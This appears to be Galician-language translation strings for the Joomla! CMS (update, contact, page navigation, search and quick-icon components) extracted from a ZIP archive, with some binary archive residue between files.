COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_CUSTOM="Custom URL" COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_DESC="O servidor de actualización que o Joomla! empregará para detectar se hai unha actualización dispoñíbel" COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_LABEL="Servidor de actualización" COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_LTS="Asistencia alongada -LTS- (recomendada)" COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_NOCHANGE="Configurado actualmente (sen cambios)" COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_STS="Asistencia acurtada -STS-" COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_TESTING="Probando" COM_JOOMLAUPDATE_CONFIGURATION="Configuración da actualización de Joomla!" COM_JOOMLAUPDATE_OVERVIEW="Actualización Joomla!" COM_JOOMLAUPDATE_VIEW_COMPLETE_HEADING="Estado da actualización da versión Joomla!" COM_JOOMLAUPDATE_VIEW_COMPLETE_MESSAGE="O seu sitio foi actualizado con éxito. Agora súa versión de Joomla! é %s." COM_JOOMLAUPDATE_VIEW_DEFAULT_DOWNLOAD_IN_PROGRESS="Estase a descargar o ficheiro coa actualización. Agarde..." COM_JOOMLAUPDATE_VIEW_DEFAULT_FTP_DIRECTORY="Cartafol FTP" COM_JOOMLAUPDATE_VIEW_DEFAULT_FTP_HOSTNAME="Servidor FTP" COM_JOOMLAUPDATE_VIEW_DEFAULT_FTP_PASSWORD="Clave FTP" COM_JOOMLAUPDATE_VIEW_DEFAULT_FTP_PORT="Porto FTP" COM_JOOMLAUPDATE_VIEW_DEFAULT_FTP_USERNAME="Nome de usuario FTP" COM_JOOMLAUPDATE_VIEW_DEFAULT_INSTALLED="Versión de Joomla! instalada" COM_JOOMLAUPDATE_VIEW_DEFAULT_INSTALLUPDATE="Instalar a actualización" COM_JOOMLAUPDATE_VIEW_DEFAULT_LATEST="Última versión de Joomla!" COM_JOOMLAUPDATE_VIEW_DEFAULT_METHOD_DIRECT="Escribir ficheiros directamente" COM_JOOMLAUPDATE_VIEW_DEFAULT_METHOD_FTP="Escribir ficheiros usando o FTP" COM_JOOMLAUPDATE_VIEW_DEFAULT_METHOD="Método de instalación" COM_JOOMLAUPDATE_VIEW_DEFAULT_NOUPDATES="Ningunha actualización dispoñíbel" COM_JOOMLAUPDATE_VIEW_DEFAULT_NOUPDATESNOTICE="Xa ten a versión máis recente de Joomla!, %s." COM_JOOMLAUPDATE_VIEW_DEFAULT_PACKAGE="URL do paquete de actualización" COM_JOOMLAUPDATE_VIEW_DEFAULT_UPDATEFOUND="Atopouse unha actualización para Joomla!" COM_JOOMLAUPDATE_VIEW_PROGRESS="Progreso da actualización" COM_JOOMLAUPDATE_VIEW_UPDATE_BYTESEXTRACTED="Octetos extraídos" COM_JOOMLAUPDATE_VIEW_UPDATE_BYTESREAD="Octetos lidos" COM_JOOMLAUPDATE_VIEW_UPDATE_DOWNLOADFAILED="Fallou a descarga do paquete de actualización" COM_JOOMLAUPDATE_VIEW_UPDATE_FILESEXTRACTED="Ficheiros extraídos" COM_JOOMLAUPDATE_VIEW_UPDATE_INPROGRESS="Estase a actualizar os ficheiros Joomla!. Agarde..." COM_JOOMLAUPDATE_VIEW_UPDATE_PERCENT="Porcentaxe completado" COM_JOOMLAUPDATE_XML_DESCRIPTION="Actualice Joomla! á versión máis recente premendo aquí." PK@y>\Nҥ7language/gl-ES/gl-ES.plg_content_pagenavigation.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_PAGENAVIGATION="Contido - Navegación entre páxinas" PLG_PAGENAVIGATION_XML_DESCRIPTION="Permite engadir a un artigo a funcionalidade Seguinte & Anterior." PK@y>\jĎ3language/gl-ES/gl-ES.plg_quickicon_joomlaupdate.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_QUICKICON_JOOMLAUPDATE="Iconas rápidas - Notificación de actualizacións Joomla!" PLG_QUICKICON_JOOMLAUPDATE_CHECKING="Verificación Joomla!
              actualización de estado" PLG_QUICKICON_JOOMLAUPDATE_ERROR="Joomla! descoñecidas
              actualización de estado" PLG_QUICKICON_JOOMLAUPDATE_GROUP_DESC="O grupo deste engadido (este valor é comparado co valor de grupo usado nos módulos de iconas rápidas para inxectar iconas)" PLG_QUICKICON_JOOMLAUPDATE_GROUP_LABEL="Grupo" PLG_QUICKICON_JOOMLAUPDATE_UPDATEFOUND="Joomla! %s
              Actualizar agora!" PLG_QUICKICON_JOOMLAUPDATE_UPTODATE="Joomla! está ao día" PLG_QUICKICON_JOOMLAUPDATE_XML_DESCRIPTION="Verifica se hai actualizacións para Joomla! e notifícao ao acceder ao panel de administración." PK@y>\XQYQQ/language/gl-ES/gl-ES.plg_search_content.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SEARCH_CONTENT="Buscar - Contido" PLG_SEARCH_CONTENT_XML_DESCRIPTION="Activa a busca nos artigos" PK@y>\"vVvV$language/gl-ES/gl-ES.com_contact.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CONTACT="Contactos" COM_CONTACT_BASIC_OPTIONS_FIELDSET_LABEL="Amosar opcións de contacto" COM_CONTACT_BATCH_MENU_LABEL="Escoller categoría para mover/copiar" COM_CONTACT_BATCH_OPTIONS="Procesar por lotes os contactos seleccionados" COM_CONTACT_BATCH_TIP="Se escolle copiar un contacto, calquera outra acción seleccionada será aplicada ao contacto copiado. Caso contrario, todas as accións son aplicadas ao contacto seleccionado." COM_CONTACT_CATEGORIES_VIEW_DEFAULT_DESC="Amosar unha lista de categorías de contactos dentro dunha categoría." COM_CONTACT_CATEGORY_VIEW_DEFAULT_DESC="Esta vista lista os contactos nunha categoría." COM_CONTACT_CHANGE_CONTACT="Mudar contacto" COM_CONTACT_CHANGE_CONTACT_BUTTON="Mudar contacto" COM_CONTACT_CONFIG_INTEGRATION_SETTINGS_DESC="Esta configuración determina como se integrará o compoñente contacto con outras extensións." COM_CONTACT_CONFIGURATION="Opcións do xestor de contactos" COM_CONTACT_CONTACT_DETAILS="Detalles de contacto" COM_CONTACT_CONTACT_DISPLAY_DETAILS="Opcións de visualización da páxina de contacto individual." COM_CONTACT_CONTACT_SETTINGS_LABEL="Opcións de contacto" COM_CONTACT_CONTACT_VIEW_DEFAULT_DESC="Isto crea unha ligazón á información correspondente ao contacto." COM_CONTACT_DETAILS="Información de contacto" COM_CONTACT_EDIT_CONTACT="Modificar contacto" COM_CONTACT_EDIT_DETAILS="Modifica a información de contacto amosada nunha páxina individual." COM_CONTACT_ERROR_UNIQUE_ALIAS="Outro contacto desta categoría ten o mesmo alcume." COM_CONTACT_FIELD_ARTICLES_COMMENTS_DESC="Permitir comentarios aos artigos escribidos polo contacto" COM_CONTACT_FIELD_ARTICLES_COMMENTS_LABEL="Comentarios" COM_CONTACT_FIELD_ARTICLES_RATINGS_DESC="Permitir a avaliación de artigos para o contacto" COM_CONTACT_FIELD_ARTICLES_RATINGS_LABEL="Avaliar artigos" COM_CONTACT_FIELD_ARTICLES_SHOW_DESC="Se se lle asigna un usuario a este contacto e se este está configurado para amosar, a continuación amosarase unha lista de artigos creados por este usuario." COM_CONTACT_FIELD_ARTICLES_SHOW_LABEL="Amosar artigos do usuario" COM_CONTACT_FIELD_BREADCRUMBS_DESC="Amosar/Agochar a categoría no ronsel" COM_CONTACT_FIELD_BREADCRUMBS_LABEL="Amosar a categoría no ronsel" COM_CONTACT_FIELD_CAPTCHA_DESC="Escolla o engadido captcha que será empregado no formulario de contacto. Poida que precise inserir información requirida para o engadido captcha no xestor de engadidos.
              Se está escollido 'Usar predeterminado', asegúrese de que hai escollido un engadido captcha na configuración global." COM_CONTACT_FIELD_CAPTCHA_LABEL="Permitir captcha en contactos" COM_CONTACT_FIELD_CATEGORIES_DESC="Amosa unha lista de categorías de contacto dentro dunha categoría." COM_CONTACT_FIELD_CATEGORIES_LABEL="Elixa unha categoría pai" COM_CONTACT_FIELD_CATEGORY_DESC="Seleccione unha categoría de contactos para amosar" COM_CONTACT_FIELD_CATEGORY_LABEL="Seleccione unha categoría" COM_CONTACT_FIELD_CONFIG_ALLOW_VCARD_DESC="Permitir que se amose a vCard" COM_CONTACT_FIELD_CONFIG_ALLOW_VCARD_LABEL="Permitir vCard" COM_CONTACT_FIELD_CONFIG_BANNED_EMAIL_DESC="Enderezos de correo electrónico no permitidos para enviar o formulario de contacto." COM_CONTACT_FIELD_CONFIG_BANNED_EMAIL_LABEL="Correo electrónico prohibido" COM_CONTACT_FIELD_CONFIG_BANNED_SUBJECT_DESC="Lista de asuntos non permitidos no formulario de contacto" COM_CONTACT_FIELD_CONFIG_BANNED_SUBJECT_LABEL="Asunto prohibido" COM_CONTACT_FIELD_CONFIG_BANNED_TEXT_DESC="Texto non permitido no corpo do formulario de contacto" COM_CONTACT_FIELD_CONFIG_BANNED_TEXT_LABEL="Texto prohibido" COM_CONTACT_FIELD_CONFIG_CATEGORIES_DESC="Esta configuración aplícase para as opcións das categorías de contacto a menos que se mude nun elemento de menú específico." COM_CONTACT_FIELD_CONFIG_CATEGORY_DESC="Esta configuración aplícase para as opcións da categoría do contacto a menos que se mude nun elemento de menú específico." COM_CONTACT_FIELD_CONFIG_CONTACT_FORM="Formulario" COM_CONTACT_FIELD_CONFIG_COUNTRY_DESC="Amosar/Agochar a columna de país na lista de contactos." COM_CONTACT_FIELD_CONFIG_COUNTRY_LABEL="País" COM_CONTACT_FIELD_CONFIG_CUSTOM_REPLY_DESC="Activar/Desactivar a resposta automática, permitindo aos engadidos interactuar con outros sistemas." COM_CONTACT_FIELD_CONFIG_CUSTOM_REPLY_LABEL="Resposta personalizada" COM_CONTACT_FIELD_CONFIG_EMAIL_DESC="Amosar/Agochar a columna de correo electrónico na lista de contactos." COM_CONTACT_FIELD_CONFIG_FAX_DESC="Amosar/Agochar a columna de fax na lista de contactos." COM_CONTACT_FIELD_CONFIG_FAX_LABEL="Fax" COM_CONTACT_FIELD_CONFIG_INDIVIDUAL_CONTACT_DESC="Esta configuración aplícase aos contactos a menos que se mudase un elemento específico do menú ou do contacto." COM_CONTACT_FIELD_CONFIG_INDIVIDUAL_CONTACT_DISPLAY="Contacto" COM_CONTACT_FIELD_CONFIG_MOBILE_DESC="Amosar/Agochar a columna teléfono móbil na lista de contactos." COM_CONTACT_FIELD_CONFIG_MOBILE_LABEL="Móbil" COM_CONTACT_FIELD_CONFIG_PHONE_DESC="Amosar/Agochar a columna telefono na lista de contactos." COM_CONTACT_FIELD_CONFIG_PHONE_LABEL="Teléfono" COM_CONTACT_FIELD_CONFIG_POSITION_DESC="Amosar/Agochar a columna posición na lista de contactos." COM_CONTACT_FIELD_CONFIG_POSITION_LABEL="Posición" COM_CONTACT_FIELD_CONFIG_REDIRECT_DESC="Insira un URL alternativo a onde o usuario será dirixido despois do envío deste correo." COM_CONTACT_FIELD_CONFIG_REDIRECT_LABEL="Redirección de contacto" COM_CONTACT_FIELD_CONFIG_SESSION_CHECK_DESC="Comprobar a existencia de cookies da sesión. Isto significa que os usuarios que non teñan activadas as cookies activadas no seu navegador, non poderán enviar correos electrónicos desde o sitio." COM_CONTACT_FIELD_CONFIG_SESSION_CHECK_LABEL="Comprobación de sesión" COM_CONTACT_FIELD_CONFIG_STATE_LABEL="Estado ou país" COM_CONTACT_FIELD_CONFIG_STATE_DESC="Amosar/Agochar a columna do estado ou país na lista de contactos." COM_CONTACT_FIELD_CONFIG_SUBURB_DESC="Amosar/Agochar a columna cidade ou barrio da lista de contactos." COM_CONTACT_FIELD_CONFIG_SUBURB_LABEL="Cidade ou barrio" COM_CONTACT_FIELD_CONFIG_TABLE_OF_CONTACTS_DESC="Esta configuración aplícase as opcións da lista de contactos a menos que se mudase un elemento específico do menú ou do contacto." COM_CONTACT_FIELD_CONFIG_VCARD_DESC="Amosar/Agochar a columna vCard na lista de contactos." COM_CONTACT_FIELD_CONFIG_VCARD_LABEL="vCard" COM_CONTACT_FIELD_CONTACT_SHOW_CATEGORY_DESC="Se "agochar", a categoría do contacto non se amosará. Se "amosar sen ligazón", a categoría amosarase como un texto. Se "amosar con ligazón", o nome da categoría amósase como unha ligazón ao seu contido." COM_CONTACT_FIELD_CONTACT_SHOW_CATEGORY_LABEL="Categoría do contacto" COM_CONTACT_FIELD_CONTACT_SHOW_LIST_DESC="Amosar/agochar a lista despregábel para pasar dun contacto a outro na mesma categoría." COM_CONTACT_FIELD_CONTACT_SHOW_LIST_LABEL="Amosar a lista de contactos" COM_CONTACT_FIELD_CREATED_BY_ALIAS_DESC="Pode inserir aquí un alcume para amosar no canto no nome de usuario que creou o contacto." COM_CONTACT_FIELD_CREATED_BY_ALIAS_LABEL="Creado polo alcume" COM_CONTACT_FIELD_CREATED_BY_DESC="Pode mudar aquí o nome do usuario quen creou o contacto." COM_CONTACT_FIELD_CREATED_DESC="Data de creación do contacto." COM_CONTACT_FIELD_CREATED_LABEL="Data de creación" COM_CONTACT_FIELD_EMAIL_BANNED_EMAIL_DESC="Enderezos de correo electrónico no permitidos para enviar o formulario de contacto." COM_CONTACT_FIELD_EMAIL_BANNED_EMAIL_LABEL="Correo electrónico prohibido" COM_CONTACT_FIELD_EMAIL_BANNED_SUBJECT_DESC="Lista de asuntos non permitidos no formulario de contacto" COM_CONTACT_FIELD_EMAIL_BANNED_SUBJECT_LABEL="Asunto prohibido" COM_CONTACT_FIELD_EMAIL_BANNED_TEXT_DESC="Texto non permitido no corpo do formulario de contacto" COM_CONTACT_FIELD_EMAIL_BANNED_TEXT_LABEL="Texto prohibido" COM_CONTACT_FIELD_EMAIL_EMAIL_COPY_DESC="Amosar/Agochar caixa de verificación para permitir o envío dunha copia do correo ao remitente." COM_CONTACT_FIELD_EMAIL_EMAIL_COPY_LABEL="Enviar copia do correo ao remitente" COM_CONTACT_FIELD_EMAIL_SHOW_FORM_DESC="Amosar/Agochar o formulario de contacto." COM_CONTACT_FIELD_EMAIL_SHOW_FORM_LABEL="Amosar o formulario de contacto" COM_CONTACT_FIELD_FEATURED_DESC="Se establece si, amosarase na vista destacados." COM_CONTACT_FIELD_FEEDLINK_DESC="Amosar/agochar unha ligazón da semente para esta categoría de contacto" COM_CONTACT_FIELD_FEEDLINK_LABEL="Ligazón de semente" COM_CONTACT_FIELD_ICONS_ADDRESS_DESC="Seleccione a icona de enderezos. Se non selecciona ningunha amosarase a icona predeterminada." COM_CONTACT_FIELD_ICONS_ADDRESS_LABEL="Icona de enderezo" COM_CONTACT_FIELD_ICONS_EMAIL_DESC="Seleccione a icona de correo electrónico. Se non selecciona ningunha amosarase a icona predeterminada." COM_CONTACT_FIELD_ICONS_EMAIL_LABEL="Icona de correo electrónico" COM_CONTACT_FIELD_ICONS_FAX_DESC="Seleccione a icona de fax. Se non selecciona ningunha amosarase a icona predeterminada." COM_CONTACT_FIELD_ICONS_FAX_LABEL="Icona de fax" COM_CONTACT_FIELD_ICONS_MISC_DESC="Seleccione a icona de varios. Se non selecciona ningunha amosarase a icona predeterminada.." COM_CONTACT_FIELD_ICONS_MISC_LABEL="Icona de varios" COM_CONTACT_FIELD_ICONS_MOBILE_DESC="Seleccione a icona de telefono móbil. Se non selecciona ningunha amosarase a icona predeterminada." COM_CONTACT_FIELD_ICONS_MOBILE_LABEL="Icona do móbil" COM_CONTACT_FIELD_ICONS_SETTINGS_DESC="Elixa se desexa amosar as iconas, texto ou nada ao carón da información." COM_CONTACT_FIELD_ICONS_SETTINGS_LABEL="Opcións" COM_CONTACT_FIELD_ICONS_TELEPHONE_DESC="Seleccione a icona de teléfono. Se non selecciona ningunha amosarase a icona predeterminada." COM_CONTACT_FIELD_ICONS_TELEPHONE_LABEL="Icona de telefono" COM_CONTACT_FIELD_IMAGE_ALIGN_DESC="Aliñamento da imaxe" COM_CONTACT_FIELD_IMAGE_ALIGN_LABEL="Aliñamento da imaxe" COM_CONTACT_FIELD_INFORMATION_ADDRESS_DESC="Enderezo de contacto" COM_CONTACT_FIELD_INFORMATION_ADDRESS_LABEL="Enderezo" COM_CONTACT_FIELD_INFORMATION_COUNTRY_DESC="Pais de contacto" COM_CONTACT_FIELD_INFORMATION_COUNTRY_LABEL="País" COM_CONTACT_FIELD_INFORMATION_EMAIL_DESC="Correo electrónico de contacto" COM_CONTACT_FIELD_INFORMATION_FAX_DESC="Fax de contacto" COM_CONTACT_FIELD_INFORMATION_FAX_LABEL="Fax" COM_CONTACT_FIELD_INFORMATION_MISC_DESC="Información diversa de contacto" COM_CONTACT_FIELD_INFORMATION_MISC_LABEL="Outra información" COM_CONTACT_FIELD_INFORMATION_MOBILE_DESC="Telefono móbil de contacto" COM_CONTACT_FIELD_INFORMATION_MOBILE_LABEL="Móbil" COM_CONTACT_FIELD_INFORMATION_POSITION_DESC="Función de contacto" COM_CONTACT_FIELD_INFORMATION_POSITION_LABEL="Posición" COM_CONTACT_FIELD_INFORMATION_POSTCODE_DESC="Código postal de contacto" COM_CONTACT_FIELD_INFORMATION_POSTCODE_LABEL="Código postal" COM_CONTACT_FIELD_INFORMATION_STATE_DESC="Estado ou provincia de contacto" COM_CONTACT_FIELD_INFORMATION_STATE_LABEL="Estado ou provincia" COM_CONTACT_FIELD_INFORMATION_SUBURB_DESC="Cidade ou barrio de contacto" COM_CONTACT_FIELD_INFORMATION_SUBURB_LABEL="Cidade ou barrio" COM_CONTACT_FIELD_INFORMATION_TELEPHONE_DESC="Telefono de contacto" COM_CONTACT_FIELD_INFORMATION_TELEPHONE_LABEL="Teléfono" COM_CONTACT_FIELD_INFORMATION_WEBPAGE_DESC="Sitio web do contacto" COM_CONTACT_FIELD_INFORMATION_WEBPAGE_LABEL="Sitio web" COM_CONTACT_FIELD_INITIAL_SORT_DESC="Escolla o campo, ou campos, polos cales se ordenarán os contactos." COM_CONTACT_FIELD_INITIAL_SORT_LABEL="Ordenar por" COM_CONTACT_FIELD_LANGUAGE_DESC="Asignar un idioma para este contacto" COM_CONTACT_FIELD_LIMIT_BOX_DESC="Amosar/Agochar caixa despregábel de selección do límite do número de tarxetas de contacto a amosar na lista de visualización" COM_CONTACT_FIELD_LIMIT_BOX_LABEL="Caixa de límite" COM_CONTACT_FIELD_LINK_NAME_DESC="Unha ligazón adicional para este contacto" COM_CONTACT_FIELD_LINKA_DESC="Descrición para a ligazón A" COM_CONTACT_FIELD_LINKA_LABEL="Ligazón A" COM_CONTACT_FIELD_LINKA_NAME_LABEL="Etiqueta da ligazón A" COM_CONTACT_FIELD_LINKB_DESC="Descrición para a ligazón B" COM_CONTACT_FIELD_LINKB_LABEL="Ligazón B" COM_CONTACT_FIELD_LINKB_NAME_LABEL="Etiqueta da ligazón B" COM_CONTACT_FIELD_LINKC_DESC="Descrición para a ligazón C" COM_CONTACT_FIELD_LINKC_LABEL="Ligazón C" COM_CONTACT_FIELD_LINKC_NAME_LABEL="Etiqueta da ligazón C" COM_CONTACT_FIELD_LINKD_DESC="Descrición para a ligazón D" COM_CONTACT_FIELD_LINKD_LABEL="Ligazón D" COM_CONTACT_FIELD_LINKD_NAME_LABEL="Estiqueta da ligazón D" COM_CONTACT_FIELD_LINKE_DESC="Descrición para a ligazón E" COM_CONTACT_FIELD_LINKE_LABEL="Ligazón E" COM_CONTACT_FIELD_LINKE_NAME_LABEL="Etiqueta da ligazón E" COM_CONTACT_FIELD_LINKED_USER_DESC="Vicular o contacto cun usuario rexistrado no sitio" COM_CONTACT_FIELD_LINKED_USER_LABEL="Vincular ao usuario" COM_CONTACT_FIELD_MODIFIED_DESC="A data e a hora na que o contacto foi modificado." COM_CONTACT_FIELD_NAME_DESC="Nome de contacto" COM_CONTACT_FIELD_NAME_LABEL="Nome" COM_CONTACT_FIELD_NUM_CONTACTS_DESC="Número de contactos a amosar na lista." COM_CONTACT_FIELD_NUM_CONTACTS_LABEL="Número de contactos" COM_CONTACT_FIELD_PARAMS_CONTACT_E_MAIL_DESC="Amosar/Agochar o correo electrónico do contacto" COM_CONTACT_FIELD_PARAMS_CONTACT_POSITION_DESC="Amosar/Agochar a función do contacto" COM_CONTACT_FIELD_PARAMS_CONTACT_POSITION_LABEL="Función de contacto" COM_CONTACT_FIELD_PARAMS_COUNTRY_DESC="Amosar/Agochar o pais" COM_CONTACT_FIELD_PARAMS_COUNTRY_LABEL="País" COM_CONTACT_FIELD_PARAMS_FAX_DESC="Amosar/Agochar o número de fax" COM_CONTACT_FIELD_PARAMS_FAX_LABEL="Fax" COM_CONTACT_FIELD_PARAMS_IMAGE_DESC="Seleccionar a imaxe do contacto" COM_CONTACT_FIELD_PARAMS_IMAGE_LABEL="Imaxe" COM_CONTACT_FIELD_PARAMS_MISC_INFO_DESC="Amosar/Agochar a información diversa" COM_CONTACT_FIELD_PARAMS_MISC_INFO_LABEL="Información diversa" COM_CONTACT_FIELD_PARAMS_MOBILE_DESC="Amosar/Agochar o número de móbil" COM_CONTACT_FIELD_PARAMS_MOBILE_LABEL="Teléfono móbil" COM_CONTACT_FIELD_PARAMS_NAME_DESC="Amosar o nome do contacto" COM_CONTACT_FIELD_PARAMS_NAME_LABEL="Nome" COM_CONTACT_FIELD_PARAMS_POST-ZIP_CODE_DESC="Amosar/Agochar o código postal" COM_CONTACT_FIELD_PARAMS_POST-ZIP_CODE_LABEL="Código postal" COM_CONTACT_FIELD_PARAMS_SHOW_IMAGE_DESC="Amosar/Agochar a imaxe" COM_CONTACT_FIELD_PARAMS_SHOW_IMAGE_LABEL="Imaxe" COM_CONTACT_FIELD_PARAMS_STATE-COUNTY_DESC="Amosar/Agochar o estado ou pais" COM_CONTACT_FIELD_PARAMS_STATE-COUNTY_LABEL="Estado ou país" COM_CONTACT_FIELD_PARAMS_STREET_ADDRESS_DESC="Amosar/Agochar o enderezo" COM_CONTACT_FIELD_PARAMS_STREET_ADDRESS_LABEL="Enderezo" COM_CONTACT_FIELD_PARAMS_TELEPHONE_DESC="Amosar/Agochar o número de teléfono" COM_CONTACT_FIELD_PARAMS_TELEPHONE_LABEL="Teléfono" COM_CONTACT_FIELD_PARAMS_TOWN-SUBURB_DESC="Amosar/Agochar a cidade ou barrio" COM_CONTACT_FIELD_PARAMS_TOWN-SUBURB_LABEL="Cidade ou barrio" COM_CONTACT_FIELD_PARAMS_VCARD_DESC="Amosar/Agochar a ligazon de exportación no formato vCard" COM_CONTACT_FIELD_PARAMS_VCARD_LABEL="vCard" COM_CONTACT_FIELD_PARAMS_WEBPAGE_DESC="Amosar/Agochar a páxina web do contacto" COM_CONTACT_FIELD_PARAMS_WEBPAGE_LABEL="Páxina web" COM_CONTACT_FIELD_PRESENTATION_DESC="Determina o estilo empregado para a mosar as seccións do formulario de contacto" COM_CONTACT_FIELD_PRESENTATION_LABEL="Amosar formato" COM_CONTACT_FIELD_PROFILE_SHOW_DESC="Amosar/Agochar o perfil relacionado co contacto se o usuario está identificado no sitio." COM_CONTACT_FIELD_PROFILE_SHOW_LABEL="Amosar o perfil" COM_CONTACT_FIELD_PUBLISH_DOWN_DESC="Unha data opcional para a finalización da publicación da ficha do contacto." COM_CONTACT_FIELD_PUBLISH_DOWN_LABEL="Fin da publicación" COM_CONTACT_FIELD_PUBLISH_UP_DESC="Unha data opcional para co comezo da publicación da ficha do contacto." COM_CONTACT_FIELD_PUBLISH_UP_LABEL="Comezo da publicación" COM_CONTACT_FIELD_SHOW_CAT_ITEMS_DESC="Amosar/Agochar o número de contacto na categoría" COM_CONTACT_FIELD_SHOW_CAT_ITEMS_LABEL="Contactos na categoría" COM_CONTACT_FIELD_SHOW_CATEGORY_DESC="Amosar/Agochar a categoría da ficha do contacto" COM_CONTACT_FIELD_SHOW_LINKS_DESC="Amosar/Agochar as ligazóns ás fichas de contacto." COM_CONTACT_FIELD_SHOW_LINKS_LABEL="Amosar ligazóns" COM_CONTACT_FIELD_SORTNAME1_DESC="A parte do nome que se emprega como primeiro campo para a ordenación" COM_CONTACT_FIELD_SORTNAME1_LABEL="Primeiro campo para a ordenación" COM_CONTACT_FIELD_SORTNAME2_DESC="A parte do nome que se emprega como segundo campo para a ordenación" COM_CONTACT_FIELD_SORTNAME2_LABEL="Segundo campo para a ordenación" COM_CONTACT_FIELD_SORTNAME3_DESC="A parte do nome que se empreta como terceiro campo para a ordenación" COM_CONTACT_FIELD_SORTNAME3_LABEL="Terceiro campo para a ordenación" COM_CONTACT_FIELD_VALUE_ICONS="Iconas" COM_CONTACT_FIELD_VALUE_NAME="Nome" COM_CONTACT_FIELD_VALUE_NO_LINK="Amosar sen ligazón" COM_CONTACT_FIELD_VALUE_NONE="Ningún" COM_CONTACT_FIELD_VALUE_ORDERING="Orde" COM_CONTACT_FIELD_VALUE_PLAIN="Plano" COM_CONTACT_FIELD_VALUE_SLIDERS="Deslizantes" COM_CONTACT_FIELD_VALUE_SORT_NAME="Ordenar por nome" COM_CONTACT_FIELD_VALUE_TABS="Lapelas" COM_CONTACT_FIELD_VALUE_TEXT="Texto" COM_CONTACT_FIELD_VALUE_WITH_LINK="Amosar ligazón" COM_CONTACT_FIELDSET_CONTACT_FORM="Formulario de contacto" COM_CONTACT_FIELDSET_CONTACT_LABEL="Amosar opcións de contacto" COM_CONTACT_FIELDSET_CONTACTFORM_LABEL="Opcións de correo electrónico" COM_CONTACT_FIELDSET_OPTIONS="Amosar opcións" COM_CONTACT_FILTER_DESC="Escolla o tipo de filtro predeterminado a amosar." COM_CONTACT_FILTER_LABEL="Campo filtro" COM_CONTACT_FILTER_SEARCH_DESC="Insira o texto para amosar os contacto que coincidan" COM_CONTACT_ICONS_SETTINGS="Iconas" COM_CONTACT_ID_LABEL="ID" COM_CONTACT_MAIL_FIELDSET_LABEL="Opcións de correo electrónico" COM_CONTACT_MANAGER_CONTACT="Xestor de contacto: contacto" COM_CONTACT_MANAGER_CONTACTS="Xestor de contactos: Contactos" COM_CONTACT_N_ITEMS_ARCHIVED="%d contactos arquivados con éxito" COM_CONTACT_N_ITEMS_ARCHIVED_1="%d contacto arquivado con éxito" COM_CONTACT_N_ITEMS_CHECKED_IN_0="Non se comprobou contacto algún con éxito." COM_CONTACT_N_ITEMS_CHECKED_IN_1="%d contacto comprobado con éxito" COM_CONTACT_N_ITEMS_CHECKED_IN_MORE="%d contactos comprobados con éxito" COM_CONTACT_N_ITEMS_DELETED="%d contactos borrados con éxito" COM_CONTACT_N_ITEMS_DELETED_1="%d contacto borrado con éxito" COM_CONTACT_N_ITEMS_PUBLISHED="%d contactos publicados con éxito" COM_CONTACT_N_ITEMS_PUBLISHED_1="%d contacto publicado con éxito" COM_CONTACT_N_ITEMS_TRASHED="%d contactos enviados ao lixo con éxito" COM_CONTACT_N_ITEMS_TRASHED_1="%d contacto enviado ao lixo con éxito" COM_CONTACT_N_ITEMS_UNPUBLISHED="%d contactos despublicados con éxito" COM_CONTACT_N_ITEMS_UNPUBLISHED_1="%d contacto despublicado con éxito" COM_CONTACT_NAME_DESC="Nome de contacto" COM_CONTACT_NEW_CONTACT="Novo contacto" COM_CONTACT_NO_ITEM_SELECTED="Ningún contacto seleccionado" COM_CONTACT_OPTIONS="Opcións" COM_CONTACT_SAVE_SUCCESS="O contacto gardouse con éxito" COM_CONTACT_SEARCH_IN_NAME="Buscar contactos por nome" COM_CONTACT_SELECT_A_CONTACT="Escoller un contacto" COM_CONTACT_SELECT_CONTACT_DESC="Prema o botón para amosar e seleccionar un contacto da lista" COM_CONTACT_SELECT_CONTACT_LABEL="Escoller contacto" COM_CONTACT_SELECT_USER="Escoller usuario" COM_CONTACT_SHOW_EMAIL_ADDRESS_DESC="Amosar o enderezo de correo electrónico" COM_CONTACT_SHOW_EMAIL_ADDRESS_LABEL="Enderezo de correo electrónico" COM_CONTACT_SHOW_EMPTY_CATEGORIES_DESC="Amosar/Agochar as categorías baleiras. Unha categoría está baleira se non ten contactos nin subcategorías." COM_CONTACT_SUBMENU_CATEGORIES="Categorías" COM_CONTACT_SUBMENU_CONTACTS="Contactos" COM_CONTACT_TOGGLE_TO_FEATURE="Conmutador para mudar o estado do contacto a 'Destacado'" COM_CONTACT_TOGGLE_TO_UNFEATURE="Conmutador para mudar o estado do contacto a 'Non destacado'" COM_CONTACT_UNFEATURED="Contacto non destacado" COM_CONTACT_WARNING_CATEGORY="Esta categoría non é válida" COM_CONTACT_WARNING_PROVIDE_VALID_NAME="Insira un nome válido" COM_CONTACT_WARNING_PROVIDE_VALID_URL="Insira un URL válido" COM_CONTACT_WARNING_SAME_NAME="O nome deste contacto xa está en uso. Probe con outro nome" COM_CONTACT_WARNING_SELECT_CONTACT_TOPUBLISH="Seleccione o contacto a publicar" COM_CONTACT_XML_DESCRIPTION="Este compoñente amosa unha lista de información de contacto" JGLOBAL_NEWITEMSLAST_DESC="O predeterminado é que os novos contactos vaian á ultima posición. A ordenación pode mudarse unha vez gardado o contacto." JLIB_HTML_BATCH_USER_LABEL="Definir o usuario ligado" JLIB_RULES_SETTING_NOTES="1. Se muda a configuración, esta aplicarase a este compoñente. Nótese que:
              Herdado significa que serán utilizados os permisos da configuración global ou do grupo superior.
